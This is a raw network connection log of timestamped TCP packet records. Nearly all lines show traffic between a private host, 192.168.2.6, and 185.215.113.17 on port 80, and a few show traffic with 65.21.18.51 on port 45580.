Sep 27, 2024 16:18:28.183957100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183957100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183957100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184007883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184079885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184096098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184108019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184117079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184128046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184154034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184175968 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184179068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184189081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184200048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184211016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184242964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184251070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184251070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184252977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184264898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184276104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184284925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184284925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184325933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184325933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184325933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184335947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184346914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184367895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184374094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184377909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184390068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184427977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184463024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184473991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184484005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184494972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184505939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184515953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184525967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184551001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184551001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184551001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184596062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184613943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184626102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184636116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184648037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184650898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184650898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184657097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184667110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184724092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184724092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184724092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184741974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184751987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184762001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184772968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184782982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184788942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184799910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184812069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184815884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184815884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184837103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184868097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184871912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184881926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184891939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184901953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184917927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184926987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184932947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184945107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184956074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.184966087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.184966087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185019016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185024977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185110092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185118914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185128927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185139894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185149908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185159922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185170889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185175896 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185175896 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185175896 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185194016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185235023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185540915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185551882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185561895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185628891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185628891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185630083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185641050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185656071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185668945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185693979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185693979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185719967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185739040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185750961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185781002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185811996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185822010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185832977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185847044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185847998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185847998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185863018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185873032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185874939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185885906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185895920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185902119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185947895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185947895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.185975075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185986042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.185997009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.186007977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.186022997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.186079979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.258168936 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.260469913 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:28.265300989 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.269408941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269418955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269434929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269445896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269458055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269469023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269490957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269520998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269524097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269535065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269546986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269583941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269583941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269597054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269608021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269618988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269629002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269640923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269654036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269668102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269679070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269689083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269706011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269716978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269726038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269726038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269726038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269727945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269738913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.269762993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.269785881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270384073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270402908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270412922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270441055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270461082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270461082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270461082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270512104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270514965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270525932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270535946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270550013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270550966 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270560980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270570040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270570040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270613909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270623922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270634890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270649910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270651102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270651102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270651102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270661116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270672083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270684004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.270697117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270697117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.270714045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271363974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271457911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271467924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271477938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271488905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271505117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271516085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271521091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271521091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271527052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271568060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271594048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271657944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271667957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271678925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271689892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271701097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271725893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271725893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271775007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271783113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271785975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271795988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271831036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271831036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271859884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.271954060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.271991014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272001982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272063971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272063971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272083044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272094011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272104979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272114992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272130966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272140980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272142887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272142887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272151947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272167921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272177935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272182941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272202969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272207022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272217035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272227049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272238016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272264957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272264957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272269964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272280931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272291899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272305012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272305965 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272317886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272335052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272335052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272366047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272377014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272392035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272402048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272413015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272424936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272437096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272437096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272438049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272456884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272466898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272476912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272488117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272499084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272509098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272522926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272522926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272522926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272579908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272591114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272595882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272612095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272624969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272629023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272636890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272641897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272650003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272661924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272674084 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272727013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272727013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272778034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272788048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272798061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272809029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272819042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272828102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272829056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272840023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272855997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272866011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272872925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272875071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272885084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272901058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272902012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272912025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272927046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272927999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272937059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272947073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272953987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272958040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272962093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.272974014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272984982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.272994041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273005009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273015022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273029089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273042917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273042917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273042917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273051023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273060083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273089886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273089886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273102045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273139954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273171902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273181915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273194075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273204088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273211956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273226976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273237944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273238897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273248911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273263931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273273945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273284912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273299932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273299932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.273314953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.273325920 CEST	80	49613	185.215.113.17	192.168.2.6
